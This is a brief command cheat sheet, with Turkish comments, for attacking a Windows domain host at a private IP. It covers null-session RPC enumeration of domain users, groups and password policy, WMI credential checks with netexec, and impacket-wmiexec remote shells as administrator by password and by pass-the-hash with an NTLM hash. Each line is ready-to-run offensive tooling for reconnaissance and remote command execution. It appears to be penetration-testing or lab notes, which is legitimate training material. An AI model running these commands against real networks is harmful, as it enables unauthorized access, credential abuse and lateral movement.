impacket-rpcdump 192.168.1.3
#Domain kullanıcılarını ve gruplarını listeler.
rpcclient -U "" -N 192.168.1.3
enumdomusers
enumdomgroups
lookupnames admin
querydominfo # Domain bilgisi
getdompwinfo # Parola politikası
nxc wmi 192.168.1.3 -u john -p 'Password123'
impacket-wmiexec example.local/administrator@192.168.1.3 cmd.exe -hashes :7a38310ea6f0027ee955abed1762964b
impacket-wmiexec example.local/administrator:'Password123'@192.168.1.3 cmd.exe